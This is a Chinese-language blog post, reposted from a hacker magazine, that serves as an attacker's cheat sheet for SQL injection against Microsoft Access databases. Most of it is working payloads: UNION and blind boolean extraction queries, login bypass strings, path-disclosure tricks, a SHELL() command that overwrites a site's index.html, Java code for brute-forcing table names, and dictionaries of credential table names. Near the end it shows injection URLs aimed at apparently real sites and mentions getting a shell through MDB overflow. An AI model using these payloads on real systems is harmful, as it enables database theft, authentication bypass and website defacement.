2013年5月29日星期三

Access高级玩法经验解说

Access高级玩法经验解说

2012-12-26 22:37 作者:网络 来源:黑客x档案 浏览: 423 次
摘要:Access SQL注入参考 描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此/*, --和#都没法使用.但是可以使用空字符NULL()代替: ' UNION SELECT 1,1,1 FROM validTableName 语法错误信息 [Microsoft][Driver ODBC Microsoft Access] 多句执行
更多 0
Access SQL注入参考

描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"()代替:
  • ' UNION SELECT 1,1,1 FROM validTableName
语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的FROM关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
  • ' AND (SELECT TOP 1 'someData' FROM validTableName)
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
  • ' UNION SELECT TOP 3 AttrName FROM validTableName : 这条语句返回(前)3 行.
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
  • ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
  • ' UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
  • ' UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
子字符串 MID()函数:
  • ' UNION SELECT MID('abcd',1,1) FROM validTableName : 返回 "a"
  • ' UNION SELECT MID('abcd',2,1) FROM validTableName : 返回 "b"
字符串长度 LEN()函数:
  • ' UNION SELECT LEN('1234') FROM validTableName : 返回 4
暴WEB路径 可以通过对一个不存在的库进行SELECT操作.Access将会回应一条包含有完整路径的错误信息.:
  • ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
取字符的ASCII值 ASC()函数:
  • ' UNION SELECT ASC('A') FROM ValidTable :返回65 ('A'的ASCII值)
ASCII值转换为字符 CHR()函数:
  • ' UNION SELECT CHR(65) FROM validTableName : 返回 'A'
IF语句 可以使用IIF()函数. 语法 : IIF(condition, true, false) :
  • ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName : 返回 'a'
时间接口 不存在类似BENCHMARK()或SLEEP()的函数,但是可以使用大量(高负载)的查询来达到这个效果.点击这里查看参考.
验证文件是否存在
在注入的时候使用:
  • ' UNION SELECT name FROM msysobjects IN '\boot.ini' : (如果文件存在)将会获得一条错误信息:it informs that the database format was not recognized.
表名猜解 这里有一个简单的猜解access表名的java代码.我写他是为了更好的解释猜解表名的原理:

static private String columnErrorMessage = "...";
static private String accessError = "...";

[...]

public String bruteTableName(Request r) { // 0

   String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

   for(int i = 0; i < table.length; i++) {

      resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + ""); // 2

      if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];
   }

   return null;
}
bruteTableName()的参数是一个名为"Request"的对象(见注释0).这个例子靠 sendInjection() (见注释2)尝试检测查询:
  • ' UNION SELECT 1 FROM table[i]
table[i]是表名列表中的一个元素(见注释1). 你能在这篇文章的末尾找到一个小的表名列表.在注释2处, sendInjection()函数返回提交注入代码后的回应html代码.如果resp包含 columnErrorMessage 字符串(见注释3),恭喜你,你找到了一个存在的表. columnErrorMessage 是在UNION查询中使用了和主查询不同的卷数而返回的错误信息.如果表不存在,返回的信息将是表不存在,而不是卷的数目错误.
列名猜解 需要一个已知的表名和主查询的列的数目:
  • ' UNION SELECT fieldName[j],1,1,1 FROM validTableName
你可以将上面的例子修改一下(将table改为fieldname),如果表不存在,将会返回一个列不存在的错误信息.
绕过登陆 用户名: ' OR 1=1 (or " OR 1=1) 密码: (留空)
列名枚举 按语 : 此原理已经在JBoss(一个使用Access存在漏洞的.jsp脚本)上测试通过 ,但是不敢保证在其他的环境下同样可用.
通常情况下,如果存在SQL注入漏洞,当你在URL参数后加一个"'"后,你将会得到一些错误信息,例如:
  • Error (...) syntax (...) query (...) : " Id=0' "
从这个信息可以得出当前表存在一个列"ID".通常程序员会使用同样的URL参数,列名及表名.当你知道一个参数后,就可以通过mssql来枚举其他表名和列名:
  • ' GROUP BY Id
现在你将获得一个新的错误信息,它包含了另一个新的列名.你可以继续像这样枚举其他的表名:
  • ' GROUP BY Id, SecondAttrName, ...
直到获取到所有的表名.
与操作系统的交互
这些函数默认不可用
安全提示 可以通过修改注册表来锁定一些受争议的函数的使用(比如SHELL(),等等...):
  • \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
它的默认值是2,因此这些函数默认不可用.在下面我将会向你介绍当注册表的值被设置为0的情况.
获取当前目录 需要一个已知的表名和主查询的列的数目:
  • ' UNION SELECT CurDir(),1,1 FROM validTableName
执行系统命令 SHELL()函数可以用来执行系统命令:
  • ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')
Access的系统表
这些系统表默认不可访问
MSysAccessXML 表中包含的列:
  • Id
  • LValue
  • ObjectGuid
  • ObjectName
  • Property
  • Value

MSysACEs 表中包含的列:
  • ACM
  • FInheritable
  • ObjectId
  • SID
MSysObjects 这里可以获得表名:
  • Connect
  • Database
  • DataCreate
  • DataUpdate
  • Flags
  • ForeignName
  • Id
  • Lv
  • LxExtra
  • LvModule
  • LvProp
  • Name
  • Owner
  • ParentId
  • RmtInfoLong
  • RmtInfoShort
  • Type
这条查询可以用来获得数据库中的表名:
  • ' UNION SELECT Name FROM MSysObjects WHERE Type = 1
Access盲注(这些步骤用来猜解表的内容)
第一步:猜解表名 你可以使用下面提供的字典来猜解表名.注入查询语句:
  • ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])
在提交注入查询语句后,如果你获得的HTML返回和正常页面一样,则表存在.(因为 "AND 1"对查询没有任何影响).
第二步: 猜解列名
在指导表名的情况下,使用如下查询:
  • ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)
用和第一步同样的方法判断列是否存在.
第三步:猜解内容的行数 在进一步的行动中,你必须知道表中内容的行数. 它在下面的查询中将被用作"TAB_LEN"变量:
  • ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)
这里的"X" 是大于0的任意值.可以使用老方法来判断"X"的准确值.
第四步:猜解内容的长度
你能通过以下语句获取"ATTRIB"列的第一行的内容长度:
  • ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)
可以通过以下语句猜解到 "ATTRIB"列中第二行到第TAB_LEN行的内容的长度 (这里N的值在2和TAB_LEN(在前面已经获得)之间) :
  • ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)
"KKK" 为大于0的任意值,使用ATTRIB<>'valueXXX'的原因是我们必须选择一个特定的行来猜解.我想到的方法是将之前得到的"TOP N"行的值排除掉,然后剩下的行就是正在猜解的行.当然,这里有一个前提"ATTRIB"必须是主键.这里有一个例子:

A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc
可以这样获取第一行的所有内容的长度:
  • ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)
  • ' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)
  • ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)
然后就可以这样获取第二行的内容的长度(假设A1为表的主键) :
  • ' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)
  • ' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
  • ' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
第三行也一样:
  • ' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
  • ' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
  • ' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
很明显,在猜解第一行以后的内容的长度(第2到第TAB_LEN行),你必须得到之前所有行的内容(你需要把它放在WHERE后).
第五步:猜解内容 假设攻击者已经知道了表和列名,他将使用这样的查询:
  • ' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)

"N"是要猜解的行, "XXX""ATTRIBxxx"的第X个字节, "ATT_key"是表的的主键"YYY"是一个0到255之间的数.(它代表着一个字符的ASCII码).这里我们任然要使用前面提到的方法猜解其他行的内容.
表名/列名(字典)
表名/列名(字典) 这里是一个小的表/列名样本字典,在猜解中也许用的到:

  • account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
  • customers, customer, config, conf, cfg;
  • hash;
  • login, logout, loginout, log;
  • member, memberid;
  • password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
  • store, store1, store2, store3, store4, setting;
  • username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;

1.Access跨库查询.
http://www.hack6.com /news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [C:\root\data\%23db1.asp].admin 条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询.
[C:\root\data\%23db1.asp]为数据库
admin为数据库中的表
user为数据库中admin表的段.
NBSI(牛逼死了) 工具可以智能化使用.
2.利用XSS
我不只有注入点不知道表的话.
http://www.51qljr.com/xinxi/shownews.asp?id=(575)And(1)=(2)UNION%0DSELECT%0D1,chr(116)%2bchr(101)%2bchr(115)%2bchr(116),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17&id=18%0Dfrom%0DMSysAccessObjects
test的chr代码~~~~~
MSysAccessObjects 为系统表
我们的代码跨管理员吧 哈哈~
3.Access偏移注入
简单说下偏移注入原理:
1.Union合并查询需要列相等,顺序一样;
2.select * from admin as a inner join admin as b on a.id=b.id 这句话请大家理解下,就是说把admin表记为a,同时也记为b,然后查
询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
3. *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段
举个例子:admin有5列,那么union select 1,2,3,* from admin如果返回正常,就代表注入的表有8列 (5+3=8)
看看90sec haxsscker同学的文章:http://www.hack6.com/Article/201212/179284.html
例子2:红黑联盟
3.Access溢出
总结一下,MDB溢出+跨库 得Shell的方法必须要有的条件:
1.要有网站绝对路径
2,要有上传点,随便什么格式都行 (后来发现即使不是MDB后缀,只要格式正确都能够用跨库连接)
3.当然,还要有注入点(或者你进了后台能执行SQL语句)
对于ACCESS跨库的一些思考 ACCESS数据库溢出 MDB数据库溢出  (里面说的跨库查询还有什么Union查询我第一个介绍过了.)
Microsoft Data Access 组件数据源名缓冲区溢出漏洞
4.其他一点思路
1)ACCESS高级注入利用技巧 (执行命令等)
2)Access注入导出文件 (注入导出文件,配合IIS解释漏洞)
附:lake2:http://www.hack6.com/Article/201104/87439.html
3)Access基础到高级的利用 (文章很一般)
4) Access截断字符 (你们知道吗?)
5)一先奇葩的注入:
用户名输入:
' UNION SELECT 1,1,1 FROM admin(为表) WHERE ''=' //1,1,1为字段数量,大家盲打试试....
密码输入:1
或者用户名输入:
UNION SELECT 1,1,1 AS pwd(密码字段) FROM admin(为表) WHERE ''='
//我们把列的数量都打为1;如admin表中;我们把两个不知道的和pwd列设为1 那么程序漏洞代码 if pwd=rs("pwd") then...(1=1,密码输入我们能控制.)
密码输入:1
就成功绕过了!
' 是闭合络.
也可以:' UNION SELECT 1,1,1 FROM admin //截断
还可以: UNION SELECT 1,1,1 AS pwd //截断不需要表段,select 强制插入两个没有名字,一个用as关键字给别名为pwd的列!!!
 

没有评论:

发表评论